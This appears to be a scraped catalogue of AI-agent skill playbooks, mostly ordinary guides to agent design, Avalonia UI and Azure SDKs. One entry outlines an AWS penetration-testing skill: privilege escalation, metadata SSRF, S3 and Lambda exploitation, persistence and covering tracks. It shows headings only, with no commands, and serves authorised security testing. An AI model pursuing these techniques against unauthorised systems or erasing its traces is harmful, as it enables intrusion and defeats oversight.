Design patterns for building autonomous coding agents. Covers tool integration, permission systems, browser automation, and human-in-the-loop workflows. Use when building AI agents, designing tool ...
What it loads into context
Frontmatter
51 tokensAlways available to the agent
SKILL.md
4,877 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use This Skill
- 1. Core Agent Architecture
- 2. Tool Design Patterns
- 3. Permission & Safety Patterns
- 4. Browser Automation
- 5. Context Management
- 6. MCP (Model Context Protocol) Integration
- Best Practices Checklist
- Resources
Files
SKILL.mdcore23,041 bytesSKILL.mdcore23,041 bytesSKILL.mdcore23,041 bytesSKILL.mdcore23,041 bytesSKILL.mdcore23,041 bytesSKILL.mdcore23,041 bytesSKILL.mdcore23,041 bytesSKILL.mdcore23,041 bytesSKILL.mdcore23,041 bytesSKILL.mdcore23,041 bytesSKILL.mdcore23,041 bytesSKILL.mdcore23,041 bytesSKILL.mdcore23,041 bytesSKILL.mdcore23,041 bytesSKILL.mdcore23,041 bytes
Read SKILL.md
# 🕹<U+FE0F> Autonomous Agent Patterns
> Design patterns for building autonomous coding agents, inspired by [Cline](https://github.com/cline/cline) and [OpenAI Codex](https://github.com/openai/codex).
## When to Use This Skill
Use this skill when:
- Building autonomous AI agents
- Designing tool/function calling APIs
- Implementing permission and approval systems
- Creating browser automation for agents
- Designing human-in-the-loop workflows
View the complete source on GitHubautonomous-agents
When your agent uses it
Autonomous agents are AI systems that can independently decompose goals, plan actions, execute tools, and self-correct without constant human guidance. The challenge isn't making them capable - it'...
What it loads into context
Frontmatter
65 tokensAlways available to the agent
SKILL.md
454 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Capabilities
- Patterns
- Anti-Patterns
- ⚠<U+FE0F> Sharp Edges
- Related Skills
- When to Use
Files
SKILL.mdcore2,038 bytes
Read SKILL.md
# Autonomous Agents
You are an agent architect who has learned the hard lessons of autonomous AI.
You've seen the gap between impressive demos and production disasters. You know
that a 95% success rate per step means only 60% by step 10.
Your core insight: Autonomy is earned, not granted. Start with heavily
constrained agents that do one thing reliably. Add autonomy only as you prove
reliability. The best agents look less impressive but work consistently.
You push for guardrails before capabilities, logging befor
## Capabilities
View the complete source on GitHubavalonia-layout-zafiro
When your agent uses it
Guidelines for modern Avalonia UI layout using Zafiro.Avalonia, emphasizing shared styles, generic components, and avoiding XAML redundancy.
What it loads into context
Frontmatter
62 tokensAlways available to the agent
SKILL.md
592 tokensWhen the skill is activated
Reference documents
1,847 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 🎯 Selective Reading Rule
- 📑 Content Map
- 🔗 Related Project (Exemplary Implementation)
- ✅ Checklist for Clean Layouts
- ❌ Anti-Patterns
- When to Use
Files
SKILL.mdcore2,457 bytesbehaviors.mddoc1,478 bytescomponents.mddoc1,429 bytescontainers.mddoc1,560 bytesicons.mddoc1,777 bytesthemes.mddoc1,864 bytes
Read SKILL.md
# Avalonia Layout with Zafiro.Avalonia
> Master modern, clean, and maintainable Avalonia UI layouts.
> **Focus on semantic containers, shared styles, and minimal XAML.**
## 🎯 Selective Reading Rule
**Read ONLY files relevant to the layout challenge!**
---
## 📑 Content Map
| File | Description | When to Read |View the complete source on GitHubavalonia-viewmodels-zafiro
When your agent uses it
Optimal ViewModel and Wizard creation patterns for Avalonia using Zafiro and ReactiveUI.
What it loads into context
Frontmatter
38 tokensAlways available to the agent
SKILL.md
390 tokensWhen the skill is activated
Reference documents
1,476 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Core Principles
- Guides
- Example Reference
- When to Use
Files
SKILL.mdcore1,800 bytescomposition.mddoc2,227 bytesnavigation_sections.mddoc1,299 bytesviewmodels.mddoc1,765 byteswizards.mddoc1,563 bytes
Read SKILL.md
# Avalonia ViewModels with Zafiro
This skill provides a set of best practices and patterns for creating ViewModels, Wizards, and managing navigation in Avalonia applications, leveraging the power of **ReactiveUI** and the **Zafiro** toolkit.
## Core Principles
1. **Functional-Reactive Approach**: Use ReactiveUI (`ReactiveObject`, `WhenAnyValue`, etc.) to handle state and logic.
2. **Enhanced Commands**: Utilize `IEnhancedCommand` for better command management, including progress reporting and name/text attributes.
3. **Wizard Pattern**: Implement complex flows using `SlimWizard` and `WizardBuilder` for a declarative and maintainable approach.
4. **Automatic Section Discovery**: Use the `[Section]` attribute to register and discover UI sections automatically.
5. **Clean Composition**: map ViewModels to Views using `DataTypeViewLocator` and manage dependencies in the `CompositionRoot`.
## Guides
View the complete source on GitHubavalonia-zafiro-development
When your agent uses it
Mandatory skills, conventions, and behavioral rules for Avalonia UI development using the Zafiro toolkit.
What it loads into context
Frontmatter
39 tokensAlways available to the agent
SKILL.md
415 tokensWhen the skill is activated
Reference documents
1,550 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Core Pillars
- Guides
- Procedure Before Writing Code
- When to Use
Files
SKILL.mdcore1,921 bytesavalonia-reactive-rules.mddoc1,949 bytescore-technical-skills.mddoc1,069 bytesnaming-standards.mddoc739 bytespatterns.mddoc1,337 byteszafiro-shortcuts.mddoc1,568 bytes
Read SKILL.md
# Avalonia Zafiro Development
This skill defines the mandatory conventions and behavioral rules for developing cross-platform applications with Avalonia UI and the Zafiro toolkit. These rules prioritize maintainability, correctness, and a functional-reactive approach.
## Core Pillars
1. **Functional-Reactive MVVM**: Pure MVVM logic using DynamicData and ReactiveUI.
2. **Safety & Predictability**: Explicit error handling with `Result` types and avoidance of exceptions for flow control.
3. **Cross-Platform Excellence**: Strictly Avalonia-independent ViewModels and composition-over-inheritance.
4. **Zafiro First**: Leverage existing Zafiro abstractions and helpers to avoid redundancy.
## Guides
- [Core Technical Skills & Architecture](core-technical-skills.md): Fundamental skills and architectural principles.View the complete source on GitHubaws-penetration-testing
When your agent uses it
This skill should be used when the user asks to "pentest AWS", "test AWS security", "enumerate IAM", "exploit cloud infrastructure", "AWS privilege escalation", "S3 bucket testing...
What it loads into context
Frontmatter
76 tokensAlways available to the agent
SKILL.md
2,489 tokensWhen the skill is activated
Reference documents
2,996 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Inputs/Prerequisites
- Outputs/Deliverables
- Essential Tools
- Core Workflow
- Privilege Escalation Techniques
- S3 Bucket Exploitation
- Lambda Exploitation
- SSM Command Execution
- EC2 Exploitation
- Console Access from API Keys
- Covering Tracks
- Quick Reference
- Constraints
- Examples
- Troubleshooting
- Additional Resources
- When to Use
Files
SKILL.mdcore9,958 bytesSKILL.mdcore9,958 bytesSKILL.mdcore9,958 bytesSKILL.mdcore9,958 bytesSKILL.mdcore9,958 bytesSKILL.mdcore9,958 bytesSKILL.mdcore9,958 bytesSKILL.mdcore9,958 bytesSKILL.mdcore9,958 bytesSKILL.mdcore9,958 bytesSKILL.mdcore9,958 bytesSKILL.mdcore9,958 bytesSKILL.mdcore9,958 bytesSKILL.mdcore9,958 bytesSKILL.mdcore9,958 bytesSKILL.mdcore9,958 bytesSKILL.mdcore9,958 bytesSKILL.mdcore9,958 bytesSKILL.mdcore9,958 bytesSKILL.mdcore9,958 bytesreferences/advanced-aws-pentesting.mddoc12,033 bytes
Read SKILL.md
# AWS Penetration Testing
## Purpose
Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.
## Inputs/Prerequisites
- AWS CLI configured with credentials
- Valid AWS credentials (even low-privilege)
- Understanding of AWS IAM model
- Python 3, boto3 library
- Tools: Pacu, Prowler, ScoutSuite, SkyArk
View the complete source on GitHubaws-serverless
When your agent uses it
Specialized skill for building production-ready serverless applications on AWS. Covers Lambda functions, API Gateway, DynamoDB, SQS/SNS event-driven patterns, SAM/CDK deployment, and cold start opt...
What it loads into context
Frontmatter
68 tokensAlways available to the agent
SKILL.md
1,851 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Patterns
- Anti-Patterns
- ⚠<U+FE0F> Sharp Edges
- When to Use
Files
SKILL.mdcore7,980 bytesSKILL.mdcore7,980 bytesSKILL.mdcore7,980 bytesSKILL.mdcore7,980 bytes
Read SKILL.md
# AWS Serverless
## Patterns
### Lambda Handler Pattern
Proper Lambda function structure with error handling
**When to use**: ['Any Lambda function implementation', 'API handlers, event processors, scheduled tasks']
```python
```javascript
// Node.js Lambda Handler
// handler.jsView the complete source on GitHubaws-skills
When your agent uses it
AWS development with infrastructure automation and cloud architecture patterns
What it loads into context
Frontmatter
37 tokensAlways available to the agent
SKILL.md
125 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Use This Skill
- Instructions
Files
SKILL.mdcore668 bytesSKILL.mdcore668 bytes
Read SKILL.md
# Aws Skills
## Overview
AWS development with infrastructure automation and cloud architecture patterns
## When to Use This Skill
Use this skill when you need to work with aws development with infrastructure automation and cloud architecture patterns.
## Instructions
This skill provides guidance and patterns for aws development with infrastructure automation and cloud architecture patterns.
View the complete source on GitHubazd-deployment
When your agent uses it
Deploy containerized applications to Azure Container Apps using Azure Developer CLI (azd). Use when setting up azd projects, writing azure.yaml configuration, creating Bicep infrastructure for Cont...
What it loads into context
Frontmatter
54 tokensAlways available to the agent
SKILL.md
1,966 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Start
- Core File Structure
- azure.yaml Configuration
- Environment Variables Flow
- Idempotent Deployments
- Container App Service Discovery
- Managed Identity & RBAC
- Common Commands
- Reference Files
- Critical Reminders
- When to Use
Files
SKILL.mdcore8,053 bytesSKILL.mdcore8,053 bytesSKILL.mdcore8,053 bytesSKILL.mdcore8,053 bytesSKILL.mdcore8,053 bytesSKILL.mdcore8,053 bytesSKILL.mdcore8,053 bytesSKILL.mdcore8,053 bytesSKILL.mdcore8,053 bytesSKILL.mdcore8,053 bytesSKILL.mdcore8,053 bytesSKILL.mdcore8,053 bytes
Read SKILL.md
# Azure Developer CLI (azd) Container Apps Deployment
Deploy containerized frontend + backend applications to Azure Container Apps with remote builds, managed identity, and idempotent infrastructure.
## Quick Start
```bash
# Initialize and deploy
azd auth login
azd init # Creates azure.yaml and .azure/ folder
azd env new <env-name> # Create environment (dev, staging, prod)
azd up # Provision infra + build + deploy
```
View the complete source on GitHubazure-ai-agents-persistent-dotnet
When your agent uses it
What it loads into context
Frontmatter
114 tokensAlways available to the agent
SKILL.md
2,539 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Client Hierarchy
- Core Workflow
- Available Tools
- Streaming Update Types
- Key Types Reference
- Best Practices
- Error Handling
- Related SDKs
- Reference Links
- When to Use
Files
SKILL.mdcore11,244 bytesSKILL.mdcore11,244 bytesSKILL.mdcore11,244 bytes
Read SKILL.md
# Azure.AI.Agents.Persistent (.NET)
Low-level SDK for creating and managing persistent AI agents with threads, messages, runs, and tools.
## Installation
```bash
dotnet add package Azure.AI.Agents.Persistent --prerelease
dotnet add package Azure.Identity
```
**Current Versions**: Stable v1.1.0, Preview v1.2.0-beta.8
## Environment VariablesView the complete source on GitHubazure-ai-agents-persistent-java
When your agent uses it
What it loads into context
Frontmatter
91 tokensAlways available to the agent
SKILL.md
869 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Key Concepts
- Core Workflow
- Best Practices
- Error Handling
- Reference Links
- When to Use
Files
SKILL.mdcore3,798 bytesSKILL.mdcore3,798 bytes
Read SKILL.md
# Azure AI Agents Persistent SDK for Java
Low-level SDK for creating and managing persistent AI agents with threads, messages, runs, and tools.
## Installation
```xml
<dependency>
<groupId>com.azure</groupId>
<artifactId>azure-ai-agents-persistent</artifactId>
<version>1.0.0-beta.1</version>
</dependency>
```
View the complete source on GitHubazure-ai-anomalydetector-java
When your agent uses it
Build anomaly detection applications with Azure AI Anomaly Detector SDK for Java. Use when implementing univariate/multivariate anomaly detection, time-series analysis, or AI-powered monitoring.
What it loads into context
Frontmatter
68 tokensAlways available to the agent
SKILL.md
1,971 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Client Creation
- Key Concepts
- Core Patterns
- Error Handling
- Environment Variables
- Best Practices
- Trigger Phrases
- When to Use
Files
SKILL.mdcore8,431 bytesSKILL.mdcore8,431 bytes
Read SKILL.md
# Azure AI Anomaly Detector SDK for Java
Build anomaly detection applications using the Azure AI Anomaly Detector SDK for Java.
## Installation
```xml
<dependency>
<groupId>com.azure</groupId>
<artifactId>azure-ai-anomalydetector</artifactId>
<version>3.0.0-beta.6</version>
</dependency>
```
View the complete source on GitHubazure-ai-contentsafety-java
When your agent uses it
Build content moderation applications with Azure AI Content Safety SDK for Java. Use when implementing text/image analysis, blocklist management, or harm detection for hate, violence, sexual conten...
What it loads into context
Frontmatter
65 tokensAlways available to the agent
SKILL.md
1,811 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Client Creation
- Key Concepts
- Core Patterns
- Blocklist Management
- Error Handling
- Environment Variables
- Best Practices
- Trigger Phrases
- When to Use
Files
SKILL.mdcore7,875 bytesSKILL.mdcore7,875 bytes
Read SKILL.md
# Azure AI Content Safety SDK for Java
Build content moderation applications using the Azure AI Content Safety SDK for Java.
## Installation
```xml
<dependency>
<groupId>com.azure</groupId>
<artifactId>azure-ai-contentsafety</artifactId>
<version>1.1.0-beta.1</version>
</dependency>
```
View the complete source on GitHubazure-ai-contentsafety-py
When your agent uses it
What it loads into context
Frontmatter
86 tokensAlways available to the agent
SKILL.md
1,318 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Analyze Text
- Analyze Image
- Text Blocklist Management
- Severity Levels
- Harm Categories
- Severity Scale
- Client Types
- Best Practices
- When to Use
Files
SKILL.mdcore5,834 bytesSKILL.mdcore5,834 bytesSKILL.mdcore5,834 bytesSKILL.mdcore5,834 bytesSKILL.mdcore5,834 bytesSKILL.mdcore5,834 bytesSKILL.mdcore5,834 bytesSKILL.mdcore5,834 bytesSKILL.mdcore5,834 bytesSKILL.mdcore5,834 bytesSKILL.mdcore5,834 bytesSKILL.mdcore5,834 bytes
Read SKILL.md
# Azure AI Content Safety SDK for Python
Detect harmful user-generated and AI-generated content in applications.
## Installation
```bash
pip install azure-ai-contentsafety
```
## Environment Variables
```bash
CONTENT_SAFETY_ENDPOINT=https://<resource>.cognitiveservices.azure.comView the complete source on GitHubazure-ai-contentsafety-ts
When your agent uses it
Analyze text and images for harmful content using Azure AI Content Safety (@azure-rest/ai-content-safety). Use when moderating user-generated content, detecting hate speech, violence, sexual conten...
What it loads into context
Frontmatter
68 tokensAlways available to the agent
SKILL.md
1,884 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Analyze Text
- Analyze Image
- Blocklist Management
- Harm Categories
- Severity Levels
- Content Moderation Helper
- API Endpoints
- Key Types
- Best Practices
- When to Use
Files
SKILL.mdcore7,769 bytesSKILL.mdcore7,769 bytesSKILL.mdcore7,769 bytes
Read SKILL.md
# Azure AI Content Safety REST SDK for TypeScript
Analyze text and images for harmful content with customizable blocklists.
## Installation
```bash
npm install @azure-rest/ai-content-safety @azure/identity @azure/core-auth
```
## Environment Variables
```bash
CONTENT_SAFETY_ENDPOINT=https://<resource>.cognitiveservices.azure.comView the complete source on GitHubazure-ai-contentunderstanding-py
When your agent uses it
What it loads into context
Frontmatter
88 tokensAlways available to the agent
SKILL.md
1,704 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Core Workflow
- Prebuilt Analyzers
- Analyze Document
- Access Document Content Details
- Analyze Image
- Analyze Video
- Analyze Audio
- Custom Analyzers
- Analyzer Management
- Async Client
- Content Types
- Model Imports
- Client Types
- Best Practices
- When to Use
Files
SKILL.mdcore8,069 bytesSKILL.mdcore8,069 bytesSKILL.mdcore8,069 bytesSKILL.mdcore8,069 bytesSKILL.mdcore8,069 bytesSKILL.mdcore8,069 bytesSKILL.mdcore8,069 bytesSKILL.mdcore8,069 bytesSKILL.mdcore8,069 bytesSKILL.mdcore8,069 bytesSKILL.mdcore8,069 bytesSKILL.mdcore8,069 bytesSKILL.mdcore8,069 bytes
Read SKILL.md
# Azure AI Content Understanding SDK for Python
Multimodal AI service that extracts semantic content from documents, video, audio, and image files for RAG and automated workflows.
## Installation
```bash
pip install azure-ai-contentunderstanding
```
## Environment Variables
```bash
CONTENTUNDERSTANDING_ENDPOINT=https://<resource>.cognitiveservices.azure.com/View the complete source on GitHubazure-ai-document-intelligence-dotnet
When your agent uses it
What it loads into context
Frontmatter
106 tokensAlways available to the agent
SKILL.md
2,515 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Client Types
- Prebuilt Models
- Core Workflows
- Key Types Reference
- Build Modes
- Best Practices
- Error Handling
- Related SDKs
- Reference Links
- When to Use
Files
SKILL.mdcore11,317 bytesSKILL.mdcore11,317 bytesSKILL.mdcore11,317 bytes
Read SKILL.md
# Azure.AI.DocumentIntelligence (.NET)
Extract text, tables, and structured data from documents using prebuilt and custom models.
## Installation
```bash
dotnet add package Azure.AI.DocumentIntelligence
dotnet add package Azure.Identity
```
**Current Version**: v1.0.0 (GA)
## Environment VariablesView the complete source on GitHubazure-ai-document-intelligence-ts
When your agent uses it
Extract text, tables, and structured data from documents using Azure Document Intelligence (@azure-rest/ai-document-intelligence). Use when processing invoices, receipts, IDs, forms, or building cu...
What it loads into context
Frontmatter
68 tokensAlways available to the agent
SKILL.md
2,122 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Analyze Document (URL)
- Analyze Document (Local File)
- Prebuilt Models
- Extract Invoice Fields
- Extract Receipt Fields
- List Document Models
- Build Custom Model
- Build Document Classifier
- Classify Document
- Get Service Info
- Polling Pattern
- Key Types
- Best Practices
- When to Use
Files
SKILL.mdcore9,231 bytesSKILL.mdcore9,231 bytesSKILL.mdcore9,231 bytes
Read SKILL.md
# Azure Document Intelligence REST SDK for TypeScript
Extract text, tables, and structured data from documents using prebuilt and custom models.
## Installation
```bash
npm install @azure-rest/ai-document-intelligence @azure/identity
```
## Environment Variables
```bash
DOCUMENT_INTELLIGENCE_ENDPOINT=https://<resource>.cognitiveservices.azure.comView the complete source on GitHubazure-ai-formrecognizer-java
When your agent uses it
Build document analysis applications with Azure Document Intelligence (Form Recognizer) SDK for Java. Use when extracting text, tables, key-value pairs from documents, receipts, invoices, or buildi...
What it loads into context
Frontmatter
68 tokensAlways available to the agent
SKILL.md
2,336 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Client Creation
- Prebuilt Models
- Core Patterns
- Custom Models
- Document Classification
- Error Handling
- Environment Variables
- Trigger Phrases
- When to Use
Files
SKILL.mdcore10,375 bytesSKILL.mdcore10,375 bytes
Read SKILL.md
# Azure Document Intelligence (Form Recognizer) SDK for Java
Build document analysis applications using the Azure AI Document Intelligence SDK for Java.
## Installation
```xml
<dependency>
<groupId>com.azure</groupId>
<artifactId>azure-ai-formrecognizer</artifactId>
<version>4.2.0-beta.1</version>
</dependency>
```
View the complete source on GitHubazure-ai-ml-py
When your agent uses it
What it loads into context
Frontmatter
82 tokensAlways available to the agent
SKILL.md
1,479 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Workspace Management
- Data Assets
- Model Registry
- Compute
- Jobs
- Pipelines
- Environments
- Datastores
- MLClient Operations
- Best Practices
- When to Use
Files
SKILL.mdcore6,013 bytesSKILL.mdcore6,013 bytesSKILL.mdcore6,013 bytesSKILL.mdcore6,013 bytesSKILL.mdcore6,013 bytesSKILL.mdcore6,013 bytesSKILL.mdcore6,013 bytesSKILL.mdcore6,013 bytesSKILL.mdcore6,013 bytesSKILL.mdcore6,013 bytesSKILL.mdcore6,013 bytesSKILL.mdcore6,013 bytesSKILL.mdcore6,013 bytesSKILL.mdcore6,013 bytesSKILL.mdcore6,013 bytesSKILL.mdcore6,013 bytesSKILL.mdcore6,013 bytesSKILL.mdcore6,013 bytesSKILL.mdcore6,013 bytesSKILL.mdcore6,013 bytes
Read SKILL.md
# Azure Machine Learning SDK v2 for Python
Client library for managing Azure ML resources: workspaces, jobs, models, data, and compute.
## Installation
```bash
pip install azure-ai-ml
```
## Environment Variables
```bash
AZURE_SUBSCRIPTION_ID=<your-subscription-id>View the complete source on GitHubazure-ai-openai-dotnet
When your agent uses it
What it loads into context
Frontmatter
114 tokensAlways available to the agent
SKILL.md
2,973 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Client Hierarchy
- Authentication
- Chat Completions
- Structured Outputs (JSON Schema)
- Reasoning Models (o1, o4-mini)
- Azure AI Search Integration (RAG)
- Embeddings
- Image Generation (DALL-E)
- Audio (Whisper)
- Function Calling (Tools)
- Key Types Reference
- Best Practices
- Error Handling
- Related SDKs
- Reference Links
- When to Use
Files
SKILL.mdcore12,993 bytesSKILL.mdcore12,993 bytesSKILL.mdcore12,993 bytes
Read SKILL.md
# Azure.AI.OpenAI (.NET)
Client library for Azure OpenAI Service providing access to OpenAI models including GPT-4, GPT-4o, embeddings, DALL-E, and Whisper.
## Installation
```bash
dotnet add package Azure.AI.OpenAI
# For OpenAI (non-Azure) compatibility
dotnet add package OpenAI
```
**Current Version**: 2.1.0 (stable)View the complete source on GitHubazure-ai-projects-dotnet
When your agent uses it
What it loads into context
Frontmatter
114 tokensAlways available to the agent
SKILL.md
2,522 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Client Hierarchy
- Core Workflows
- Available Agent Tools
- Key Types Reference
- Best Practices
- Error Handling
- Related SDKs
- Reference Links
- When to Use
Files
SKILL.mdcore11,066 bytesSKILL.mdcore11,066 bytesSKILL.mdcore11,066 bytes
Read SKILL.md
# Azure.AI.Projects (.NET)
High-level SDK for Azure AI Foundry project operations including agents, connections, datasets, deployments, evaluations, and indexes.
## Installation
```bash
dotnet add package Azure.AI.Projects
dotnet add package Azure.Identity
# Optional: For versioned agents with OpenAI extensions
dotnet add package Azure.AI.Projects.OpenAI --prerelease
# Optional: For low-level agent operationsView the complete source on GitHubazure-ai-projects-java
When your agent uses it
What it loads into context
Frontmatter
92 tokensAlways available to the agent
SKILL.md
1,066 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Client Hierarchy
- Core Operations
- Best Practices
- Error Handling
- Reference Links
- When to Use
Files
SKILL.mdcore4,936 bytesSKILL.mdcore4,936 bytes
Read SKILL.md
# Azure AI Projects SDK for Java
High-level SDK for Azure AI Foundry project management with access to connections, datasets, indexes, and evaluations.
## Installation
```xml
<dependency>
<groupId>com.azure</groupId>
<artifactId>azure-ai-projects</artifactId>
<version>1.0.0-beta.1</version>
</dependency>
```
View the complete source on GitHubazure-ai-projects-py
When your agent uses it
Build AI applications using the Azure AI Projects Python SDK (azure-ai-projects). Use when working with Foundry project clients, creating versioned agents with PromptAgentDefinition, running evalua...
What it loads into context
Frontmatter
64 tokensAlways available to the agent
SKILL.md
1,934 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Client Operations Overview
- Two Client Approaches
- Agent Operations
- Tools Overview
- Thread and Message Flow
- Connections
- Deployments
- Datasets and Indexes
- Evaluation
- Async Client
- Memory Stores
- Best Practices
- SDK Comparison
- Reference Files
- When to Use
Files
SKILL.mdcore8,397 bytesSKILL.mdcore8,397 bytesSKILL.mdcore8,397 bytesSKILL.mdcore8,397 bytesSKILL.mdcore8,397 bytesSKILL.mdcore8,397 bytesSKILL.mdcore8,397 bytesSKILL.mdcore8,397 bytesSKILL.mdcore8,397 bytesSKILL.mdcore8,397 bytesSKILL.mdcore8,397 bytesSKILL.mdcore8,397 bytesSKILL.mdcore8,397 bytesSKILL.mdcore8,397 bytesSKILL.mdcore8,397 bytesSKILL.mdcore8,397 bytes
Read SKILL.md
# Azure AI Projects Python SDK (Foundry SDK)
Build AI applications on Microsoft Foundry using the `azure-ai-projects` SDK.
## Installation
```bash
pip install azure-ai-projects azure-identity
```
## Environment Variables
```bash
AZURE_AI_PROJECT_ENDPOINT="https://<resource>.services.ai.azure.com/api/projects/<project>"View the complete source on GitHubazure-ai-projects-ts
When your agent uses it
Build AI applications using Azure AI Projects SDK for JavaScript (@azure/ai-projects). Use when working with Foundry project clients, agents, connections, deployments, datasets, indexes, evaluation...
What it loads into context
Frontmatter
66 tokensAlways available to the agent
SKILL.md
1,711 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Operation Groups
- Getting OpenAI Client
- Agents
- Connections
- Deployments
- Datasets
- Indexes
- Key Types
- Best Practices
- When to Use
Files
SKILL.mdcore7,039 bytesSKILL.mdcore7,039 bytesSKILL.mdcore7,039 bytesSKILL.mdcore7,039 bytes
Read SKILL.md
# Azure AI Projects SDK for TypeScript
High-level SDK for Azure AI Foundry projects with agents, connections, deployments, and evaluations.
## Installation
```bash
npm install @azure/ai-projects @azure/identity
```
For tracing:
```bash
npm install @azure/monitor-opentelemetry @opentelemetry/api
```View the complete source on GitHubazure-ai-textanalytics-py
When your agent uses it
What it loads into context
Frontmatter
92 tokensAlways available to the agent
SKILL.md
1,512 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Sentiment Analysis
- Entity Recognition
- PII Detection
- Key Phrase Extraction
- Language Detection
- Healthcare Text Analytics
- Multiple Analysis (Batch)
- Async Client
- Client Types
- Available Operations
- Best Practices
- When to Use
Files
SKILL.mdcore6,823 bytesSKILL.mdcore6,823 bytesSKILL.mdcore6,823 bytesSKILL.mdcore6,823 bytesSKILL.mdcore6,823 bytesSKILL.mdcore6,823 bytesSKILL.mdcore6,823 bytesSKILL.mdcore6,823 bytesSKILL.mdcore6,823 bytesSKILL.mdcore6,823 bytesSKILL.mdcore6,823 bytesSKILL.mdcore6,823 bytesSKILL.mdcore6,823 bytes
Read SKILL.md
# Azure AI Text Analytics SDK for Python
Client library for Azure AI Language service NLP capabilities including sentiment, entities, key phrases, and more.
## Installation
```bash
pip install azure-ai-textanalytics
```
## Environment Variables
```bash
AZURE_LANGUAGE_ENDPOINT=https://<resource>.cognitiveservices.azure.comView the complete source on GitHubazure-ai-transcription-py
When your agent uses it
What it loads into context
Frontmatter
76 tokensAlways available to the agent
SKILL.md
411 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Transcription (Batch)
- Transcription (Real-time)
- Best Practices
- When to Use
Files
SKILL.mdcore1,928 bytesSKILL.mdcore1,928 bytesSKILL.mdcore1,928 bytesSKILL.mdcore1,928 bytesSKILL.mdcore1,928 bytesSKILL.mdcore1,928 bytes
Read SKILL.md
# Azure AI Transcription SDK for Python
Client library for Azure AI Transcription (speech-to-text) with real-time and batch transcription.
## Installation
```bash
pip install azure-ai-transcription
```
## Environment Variables
```bash
TRANSCRIPTION_ENDPOINT=https://<resource>.cognitiveservices.azure.comView the complete source on GitHubazure-ai-translation-document-py
When your agent uses it
What it loads into context
Frontmatter
84 tokensAlways available to the agent
SKILL.md
1,431 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Environment Variables
- Authentication
- Basic Document Translation
- Multiple Target Languages
- Translate Single Document
- Check Translation Status
- List Document Statuses
- Cancel Translation
- Using Glossary
- Supported Document Formats
- Supported Languages
- Async Client
- Supported Formats
- Storage Requirements
- Best Practices
- When to Use
Files
